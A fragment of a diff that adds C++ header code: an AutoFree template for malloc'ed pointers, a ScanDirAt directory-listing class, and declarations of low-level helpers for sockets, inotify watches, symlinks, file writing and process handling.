+}; + +// Automatically free a pointer that was malloc'ed. +template +class AutoFree { + T* p_; + +public: + explicit AutoFree(T* p) : p_(p) {} + ~AutoFree() { free(p_); } + + T* get() const { return p_; } +}; + +// This class creates an array containing the names of all the files in a +// directory. It does this by running `scandirat` in its constructor. +class ScanDirAt { + struct dirent **namelist_; + const int n_; + +public: + explicit ScanDirAt(int fd) + : n_(scandirat(fd, ".", &namelist_, NULL, alphasort)) + { + if (n_ < 0) { + throw ErrorWithErrno("ScanDirAt failed."); + } + } + + ~ScanDirAt(); + + int size() const { return n_; } + + const char* get(int i) const { return namelist_[i]->d_name; } +}; + +int create_bind_and_listen_tcp(); +uint16_t getportnumber(const int sock); +int add_watch(const int inotify_fd, const char* filename, uint32_t mask); +void createSymlink(const char* target, const int newdirfd, const char* linkname); +int create_file(int dirfd, const char *pathname, mode_t mode); +void write_or_throw(const int fd, const char* buf, size_t buflen); +void create_and_write_file( + int dirfd, const char *pathname, const char* buf, size_t size, mode_t mode +); +void write_repeated_buffer( + const int fd, const char* msg, size_t msglen, size_t totallen +); +void fd_wait_for_read(const int inotify_fd); +void drain_fd(const int fd); +void kill_and_wait(const pid_t cpid, const int sig); +pid_t search_pid(const char *cmdline, size_t cmdline_len);